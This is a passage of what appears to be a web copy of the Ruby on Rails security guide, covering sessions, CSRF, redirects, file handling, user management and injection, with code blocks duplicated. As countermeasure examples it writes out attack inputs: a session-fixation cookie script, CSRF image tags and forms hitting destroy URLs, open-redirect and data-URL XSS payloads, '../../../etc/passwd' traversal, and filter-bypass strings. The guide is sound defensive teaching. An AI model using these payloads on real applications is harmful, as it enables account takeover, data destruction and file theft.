Sessions enable the application to maintain user-specific state, while users interact with the application. For example, sessions allow users to authenticate once and remain signed in for future requests.

Most applications need to keep track of state for users that interact with the application. This could be the contents of a shopping basket, or the user id of the currently logged in user. This kind of user-specific state can be stored in the session.

Rails provides a session object for each user that accesses the application. If the user already has an active session, Rails uses the existing session. Otherwise a new session is created.

Read more about sessions and how to use them in Action Controller Overview Guide.

2.2 Session Hijacking

Stealing a user's session ID lets an attacker use the web application in the victim's name.

Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session ID in the cookie identifies the session.

Hence, the cookie serves as temporary authentication for the web application. Anyone who seizes a cookie from someone else, may use the web application as this user - with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:

- Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN, it is especially easy to listen to the traffic of all connected clients. For the web application builder this means to provide a secure connection over SSL. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:

config.force_ssl = true

config.force_ssl = true Copiar

- Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a log-out button in the web application, and make it prominent.

- Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read more about XSS later.

- Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later.

The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from 0.5%-10% of account balance, $0.5-$30 for credit card numbers ($20-$60 with full details), $0.1-$1.5 for identities (Name, SSN, and DOB), $20-$50 for retailer accounts, and $6-$10 for cloud service provider accounts, according to the Symantec Internet Security Threat Report (2017).

2.3 Session Storage

Rails uses ActionDispatch::Session::CookieStore as the default session storage.

Learn more about other session storages in Action Controller Overview Guide.

Rails CookieStore saves the session hash in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session ID. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications and storage limitations of it:

- Cookies have a size limit of 4kB. Use cookies only for data which is relevant for the session.

- Cookies are stored on the client-side. The client may preserve cookie contents even for expired cookies. The client may copy cookies to other machines. Avoid storing sensitive data in cookies.

- Cookies are temporary by nature. The server can set expiration time for the cookie, but the client may delete the cookie and its contents before that. Persist all data that is of more permanent nature on the server side.

- Session cookies do not invalidate themselves and can be maliciously reused. It may be a good idea to have your application invalidate old session cookies using a stored timestamp.

- Rails encrypts cookies by default. The client cannot read or edit the contents of the cookie, without breaking encryption. If you take appropriate care of your secrets, you can consider your cookies to be generally secured.

The CookieStore uses the encrypted cookie jar to provide a secure, encrypted location to store session data. Cookie-based sessions thus provide both integrity as well as confidentiality to their contents. The encryption key, as well as the verification key used for signed cookies, is derived from the secret_key_base configuration value.

Secrets must be long and random. Use bin/rails secret to get new unique secrets.

Learn more about managing credentials later in this guide

It is also important to use different salt values for encrypted and signed cookies. Using the same value for different salt configuration values may lead to the same derived key being used for different security features which in turn may weaken the strength of the key.

In test and development applications get a secret_key_base derived from the app name. Other environments must use a random key present in config/credentials.yml.enc, shown here in its decrypted state:

secret_key_base: 492f...

secret_key_base: 492f... Copiar

If your application's secrets may have been exposed, strongly consider changing them. Changing secret_key_base will expire currently active sessions.

2.4 Rotating Encrypted and Signed Cookies Configurations

Rotation is ideal for changing cookie configurations and ensuring old cookies aren't immediately invalid. Your users then have a chance to visit your site, get their cookie read with an old configuration and have it rewritten with the new change. The rotation can then be removed once you're comfortable enough users have had their chance to get their cookies upgraded.

It's possible to rotate the ciphers and digests used for encrypted and signed cookies.

For instance to change the digest used for signed cookies from SHA1 to SHA256, you would first assign the new configuration value:

Rails.application.config.action_dispatch.signed_cookie_digest = "SHA256"

Rails.application.config.action_dispatch.signed_cookie_digest = "SHA256" Copiar

Now add a rotation for the old SHA1 digest so existing cookies are seamlessly upgraded to the new SHA256 digest.

Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies|
cookies.rotate :signed, digest: "SHA1"
end

Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies| cookies.rotate :signed, digest: "SHA1" end Copiar

Then any written signed cookies will be digested with SHA256. Old cookies that were written with SHA1 can still be read, and if accessed will be written with the new digest so they're upgraded and won't be invalid when you remove the rotation.

Once users with SHA1 digested signed cookies should no longer have a chance to have their cookies rewritten, remove the rotation.

While you can set up as many rotations as you'd like it's not common to have many rotations going at any one time.

For more details on key rotation with encrypted and signed messages as well as the various options the rotate method accepts, please refer to the MessageEncryptor API and MessageVerifier API documentation.

2.5 Replay Attacks for CookieStore Sessions

Another sort of attack you have to be aware of when using CookieStore is the replay attack.

It works like this:

- A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).

- The user buys something.

- The new adjusted credit value is stored in the session.

- The user takes the cookie from the first step (which they previously copied) and replaces the current cookie in the browser.

- The user has their original credit back.

Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers. Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).

The best solution against it is not to store this kind of data in a session, but in the database. In this case store the credit in the database and the logged_in_user_id in the session.

2.6 Session Fixation

Apart from stealing a user's session ID, the attacker may fix a session ID known to them. This is called session fixation.

This attack focuses on fixing a user's session ID known to the attacker, and forcing the user's browser into using this ID. It is therefore not necessary for the attacker to steal the session ID afterwards. Here is how this attack works:

- The attacker creates a valid session ID: They load the login page of the web application where they want to fix the session, and take the session ID in the cookie from the response (see number 1 and 2 in the image).

- They maintain the session by accessing the web application periodically in order to keep an expiring session alive.

- The attacker forces the user's browser into using this session ID (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: <script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>. Read more about XSS and injection later on.

- The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session ID to the trap session ID.

- As the new trap session is unused, the web application will require the user to authenticate.

- From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.

2.7 Session Fixation - Countermeasures

One line of code will protect you from session fixation.

The most effective countermeasure is to issue a new session identifier and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:

reset_session

reset_session Copiar

If you use the popular Devise gem for user management, it will automatically expire sessions on sign in and sign out for you. If you roll your own, remember to expire the session after your sign in action (when the session is created). This will remove values from the session, therefore you will have to transfer them to the new session.

Another countermeasure is to save user-specific properties in the session, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. These might change over the course of a session, so these users will not be able to use your application, or only in a limited way.

2.8 Session Expiry

Sessions that never expire extend the time-frame for attacks such as cross-site request forgery (CSRF), session hijacking, and session fixation.

One possibility is to set the expiry time-stamp of the cookie with the session ID. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to expire sessions in a database table. Call Session.sweep("20 minutes") to expire sessions that were used longer than 20 minutes ago.

class Session < ApplicationRecord
def self.sweep(time = 1.hour)
if time.is_a?(String)
time = time.split.inject { |count, unit| count.to_i.send(unit) }
end

where("updated_at < ?", time.ago.to_s(:db)).delete_all
end
end

class Session < ApplicationRecord def self.sweep(time = 1.hour) if time.is_a?(String) time = time.split.inject { |count, unit| count.to_i.send(unit) } end where("updated_at < ?", time.ago.to_s(:db)).delete_all end end Copiar

The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:

where("updated_at < ? OR created_at < ?", time.ago.to_s(:db), 2.days.ago.to_s(:db)).delete_all

where("updated_at < ? OR created_at < ?", time.ago.to_s(:db), 2.days.ago.to_s(:db)).delete_all Copiar

3 Cross-Site Request Forgery (CSRF)

This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.

In the session chapter you have learned that most Rails applications use cookie-based sessions. Either they store the session ID in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is that if the request comes from a site of a different domain, it will also send the cookie. Let's start with an example:

- Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file: <img src="http://www.webapp.com/project/1/destroy">

- Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.

- By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session ID.

- The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.

- Bob doesn't notice the attack - but a few days later he finds out that project number one is gone.

It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere - in a forum, blog post, or email.

CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) - less than 0.1% in 2006 - but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in many security contract works - CSRF is an important security issue.

3.1 CSRF Countermeasures

First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF.

The HTTP protocol basically provides two main types of requests - GET and POST (DELETE, PUT, and PATCH should be used like POST). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:

Use GET if:

- The interaction is more like a question (i.e., it is a safe operation such as a query, read operation, or lookup).

Use POST if:

- The interaction is more like an order, or

- The interaction changes the state of the resource in a way that the user would perceive (e.g., a subscription to a service), or

- The user is held accountable for the results of the interaction.

If your web application is RESTful, you might be used to additional HTTP verbs, such as PATCH, PUT, or DELETE. Some legacy web browsers, however, do not support them - only GET and POST. Rails uses a hidden _method field to handle these cases.

POST requests can be sent automatically, too. In this example, the link www.harmless.com is shown as the destination in the browser's status bar. But it has actually dynamically created a new form that sends a POST request.

<a href="http://www.harmless.com/" onclick="
var f = document.createElement('form');
f.style.display = 'none';
this.parentNode.appendChild(f);
f.method = 'POST';
f.action = 'http://www.example.com/account/destroy';
f.submit();
return false;">To the harmless survey</a>

<a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless survey</a> Copiar

Or the attacker places the code into the onmouseover event handler of an image:

<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />

<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." /> Copiar

There are many other possibilities, like using a <script> tag to make a cross-site request to a URL with a JSONP or JavaScript response. The response is executable code that the attacker can find a way to run, possibly extracting sensitive data. To protect against this data leakage, we must disallow cross-site <script> tags. Ajax requests, however, obey the browser's same-origin policy (only your own site is allowed to initiate XmlHttpRequest) so we can safely allow them to return JavaScript responses.

We can't distinguish a <script> tag's origin—whether it's a tag on your own site or on some other malicious site—so we must block all <script> across the board, even if it's actually a safe same-origin script served from your own site. In these cases, explicitly skip CSRF protection on actions that serve JavaScript meant for a <script> tag.

To protect against all other forged requests, we introduce a required security token that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is done automatically when config.action_controller.default_protect_from_forgery is set to true, which is the default for newly created Rails applications. You can also do it manually by adding the following to your application controller:

protect_from_forgery with: :exception

protect_from_forgery with: :exception Copiar

This will include a security token in all forms and Ajax requests generated by Rails. If the security token doesn't match what was expected, an exception will be thrown.

By default, Rails includes an unobtrusive scripting adapter, which adds a header called X-CSRF-Token with the security token on every non-GET Ajax call. Without this header, non-GET Ajax requests won't be accepted by Rails. When using another library to make Ajax calls, it is necessary to add the security token as a default header for Ajax calls in your library. To get the token, have a look at <meta name='csrf-token' content='THE-TOKEN'> tag printed by <%= csrf_meta_tags %> in your application view.

It is common to use persistent cookies to store user information, with cookies.permanent for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself:

rescue_from ActionController::InvalidAuthenticityToken do |exception|
sign_out_user # Example method that will destroy the user cookies
end

rescue_from ActionController::InvalidAuthenticityToken do |exception| sign_out_user # Example method that will destroy the user cookies end Copiar

The above method can be placed in the ApplicationController and will be called when a CSRF token is not present or is incorrect on a non-GET request.

Note that cross-site scripting (XSS) vulnerabilities bypass all CSRF protections. XSS gives the attacker access to all elements on a page, so they can read the CSRF security token from a form or directly submit the form. Read more about XSS later.

4 Redirection and Files

Another class of security vulnerabilities surrounds the use of redirection and files in web applications.

4.1 Redirection

Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, they may also create a self-contained attack.

Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to=www.attacker.com. Here is an example of a legacy action:

def legacy
redirect_to(params.update(action:'main'))
end

def legacy redirect_to(params.update(action:'main')) end Copiar

This will redirect the user to the main action if they tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by attacker if they included a host key in the URL:

http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com

http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com Copiar

If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to include only the expected parameters in a legacy action (again a permitted list approach, as opposed to removing unexpected parameters). And if you redirect to a URL, check it with a permitted list or a regular expression.

4.1.1 Self-contained XSS

Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, do not allow the user to supply (parts of) the URL to be redirected to.

4.2 File Uploads

Make sure file uploads don't overwrite important files, and process media files asynchronously.

Many web applications allow users to upload files. File names, which the user may choose (partly), should always be filtered as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like "../../../etc/passwd", it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so - one more reason to run web servers, database servers, and other programs as a less privileged Unix user.

When filtering user input file names, don't try to remove malicious parts. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "....//" - the result will be "../". It is best to use a permitted list approach, which checks for the validity of a file name with a set of accepted characters. This is opposed to a restricted list approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the attachment_fu plugin:

def sanitize_filename(filename)
filename.strip.tap do |name|
# NOTE: File.basename doesn't work right with Windows paths on Unix
# get only the filename, not the whole path
name.sub! /\A.*(\\|\/)/, ''
# Finally, replace all non alphanumeric, underscore
# or periods with underscore
name.gsub! /[^\w\.\-]/, '_'
end
end

def sanitize_filename(filename) filename.strip.tap do |name| # NOTE: File.basename doesn't work right with Windows paths on Unix # get only the filename, not the whole path name.sub! /\A.*(\\|\/)/, '' # Finally, replace all non alphanumeric, underscore # or periods with underscore name.gsub! /[^\w\.\-]/, '_' end end Copiar

A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its vulnerability to denial-of-service attacks. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.

The solution to this is best to process media files asynchronously: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.

4.3 Executable Code in File Uploads

Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory.

The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file "file.cgi" with code in it, which will be executed when someone downloads the file.

If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it, store files at least one level upwards.

4.4 File Downloads

Make sure users cannot download arbitrary files.

Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:

send_file('/var/www/uploads/' + params[:filename])

send_file('/var/www/uploads/' + params[:filename]) Copiar

Simply pass a file name like "../../../etc/passwd" to download the server's login information. A simple solution against this, is to check that the requested file is in the expected directory:

basename = File.expand_path('../../files', __dir__)
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename !=
File.expand_path(File.join(File.dirname(filename), '../../../'))
send_file filename, disposition: 'inline'

basename = File.expand_path('../../files', __dir__) filename = File.expand_path(File.join(basename, @file.public_filename)) raise if basename != File.expand_path(File.join(File.dirname(filename), '../../../')) send_file filename, disposition: 'inline' Copiar

Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.

5 Intranet and Admin Security

Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.

In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.

XSS If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.

Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.

Refer to the Injection section for countermeasures against XSS.

CSRF Cross-Site Request Forgery (CSRF), also known as Cross-Site Reference Forgery (XSRF), is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.

A real-world example is a router reconfiguration by CSRF. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for the user, but it also contained an image tag that resulted in an HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen.

Another example changed Google Adsense's e-mail address and password. If the victim was logged into Google Adsense, the administration interface for Google advertisement campaigns, an attacker could change the credentials of the victim.

Another popular attack is to spam your web application, your blog, or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.

For countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section.

5.1 Additional Precautions

The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:

- It is very important to think about the worst case: What if someone really got hold of your cookies or user credentials. You could introduce roles for the admin interface to limit the possibilities of the attacker. Or how about special login credentials for the admin interface, other than the ones used for the public part of the application. Or a special password for very serious actions?

- Does the admin really have to access the interface from everywhere in the world? Think about limiting the login to a bunch of source IP addresses. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.

- Put the admin interface to a special subdomain such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.

6 User Management

Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure.

There are a number of authentication plug-ins for Rails available. Good ones, such as the popular devise and authlogic, store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in has_secure_password method which has similar features.

Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested a URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator):

http://localhost:3006/user/activate
http://localhost:3006/user/activate?id=

http://localhost:3006/user/activate http://localhost:3006/user/activate?id= Copiar

This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:

User.find_by_activation_code(params[:id])

User.find_by_activation_code(params[:id]) Copiar

If the parameter was nil, the resulting SQL query will be

SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1

SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1 Copiar

And thus it found the first user in the database, returned it, and logged them in. You can find out more about it in this blog post. It is advisable to update your plug-ins from time to time. Moreover, you can review your application to find more flaws like this.

6.1 Brute-Forcing Accounts

Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA.

A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes.

Because of this, most web applications will display a generic error message "user name or password not correct", if one of these are not correct. If it said "the user name you entered has not been found", an attacker could automatically compile a list of user names.

However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.

In order to mitigate such attacks, display a generic error message on forgot-password pages, too. Moreover, you can require to enter a CAPTCHA after a number of failed logins from a certain IP address. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.

6.2 Account Hijacking

Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?.

6.2.1 Passwords

Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring them to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, make change-password forms safe against CSRF, of course. And require the user to enter the old password when changing it.

6.2.2 E-Mail

However, the attacker may also take over the account by changing the e-mail address. After they change it, they will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure require the user to enter the password when changing the e-mail address, too.

6.2.3 Other

Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in Google Mail. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in an HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, review your application logic and eliminate all XSS and CSRF vulnerabilities.

6.3 CAPTCHAs

A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect registration forms from attackers and comment forms from automatic spam bots by asking the user to type the letters of a distorted image. This is the positive CAPTCHA, but there is also the negative CAPTCHA. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot.

A popular positive CAPTCHA API is reCAPTCHA which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. ReCAPTCHA is also a Rails plug-in with the same name as the API.

You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails. The problem with CAPTCHAs is that they have a negative impact on the user experience. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. Still, positive CAPTCHAs are one of the best methods to prevent all kinds of bots from submitting forms.

Most bots are really dumb. They crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.

Note that negative CAPTCHAs are only effective against dumb bots and won't suffice to protect critical applications from targeted bots. Still, the negative and positive CAPTCHAs can be combined to increase the performance, e.g., if the "honeypot" field is not empty (bot detected), you won't need to verify the positive CAPTCHA, which would require an HTTPS request to Google ReCaptcha before computing the response.

Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:

- position the fields off of the visible area of the page

- make the elements very small or color them the same as the background of the page

- leave the fields displayed, but tell humans to leave them blank

The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on.

You can find more sophisticated negative CAPTCHAs in Ned Batchelder's blog post:

- Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.

- Randomize the field names

- Include more than one honeypot field of all types, including submission buttons

Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So negative CAPTCHAs might not be good to protect login forms.

6.4 Logging

Tell Rails not to put passwords in the log files.

By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can filter certain request parameters from your log files by appending them to config.filter_parameters in the application configuration. These parameters will be marked [FILTERED] in the log.

config.filter_parameters << :password

config.filter_parameters << :password Copiar

Provided parameters will be filtered out by partial matching regular expression. Rails adds default :password in the appropriate initializer (initializers/filter_parameter_logging.rb) and cares about typical application parameters password and password_confirmation.

6.5 Regular Expressions

A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z.

Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books get this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this:

/^https?:\/\/[^\n]+$/i

/^https?:\/\/[^\n]+$/i Copiar

This may work fine in some languages. However, in Ruby ^ and $ match the line beginning and line end. And thus a URL like this passes the filter without problems:

javascript:exploit_code();/*
http://hi.com
*/

javascript:exploit_code();/* http://hi.com */ Copiar

This URL passes the filter because the regular expression matches - the second line, the rest does not matter. Now imagine we had a view that showed the URL like this:

link_to "Homepage", @user.homepage

link_to "Homepage", @user.homepage Copiar

The link looks innocent to visitors, but when it's clicked, it will execute the JavaScript function "exploit_code" or any other JavaScript the attacker provides.

To fix the regular expression, \A and \z should be used instead of ^ and $, like so:

/\Ahttps?:\/\/[^\n]+\z/i

/\Ahttps?:\/\/[^\n]+\z/i Copiar

Since this is a frequent mistake, the format validator (validates_format_of) now raises an exception if the provided regular expression starts with ^ or ends with $. If you do need to use ^ and $ instead of \A and \z (which is rare), you can set the :multiline option to true, like so:

# content should include a line "Meanwhile" anywhere in the string
validates :content, format: { with: /^Meanwhile$/, multiline: true }

# content should include a line "Meanwhile" anywhere in the string validates :content, format: { with: /^Meanwhile$/, multiline: true } Copiar

Note that this only protects you against the most common mistake when using the format validator - you always need to keep in mind that ^ and $ match the line beginning and line end in Ruby, and not the beginning and end of a string.

6.6 Privilege Escalation

Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it.

The most common parameter that a user might tamper with, is the id parameter, as in http://www.domain.com/project/1, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:

@project = Project.find(params[:id])

@project = Project.find(params[:id]) Copiar

This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and they are not allowed to see that information, they will have access to it anyway. Instead, query the user's access rights, too:

@project = @current_user.projects.find(params[:id])

@project = @current_user.projects.find(params[:id]) Copiar

Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated.

Don't be fooled by security by obfuscation and JavaScript security. Developer tools let you review and change every form's hidden fields. JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values. The Firebug addon for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.

7 Injection

Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection.

Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query, or programming language, the shell, or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.

7.1 Permitted lists versus Restricted lists

When sanitizing, protecting, or verifying something, prefer permitted lists over restricted lists.

A restricted list can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a permitted list which lists the good e-mail addresses, public actions, good HTML tags, and so on. Although sometimes it is not possible to create a permitted list (in a SPAM filter, for example), prefer to use permitted list approaches:

- Use before_action except: [...] instead of only: [...] for security-related actions. This way you don't forget to enable security checks for newly added actions.

- Allow <strong> instead of removing <script> against Cross-Site Scripting (XSS). See below for details.

- Don't try to correct user input using restricted lists:

- This will make the attack work: "<sc<script>ript>".gsub("<script>", "")

- But reject malformed input

Permitted lists are also a good approach against the human factor of forgetting something in the restricted list.

7.2 SQL Injection

Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem.

7.2.1 Introduction

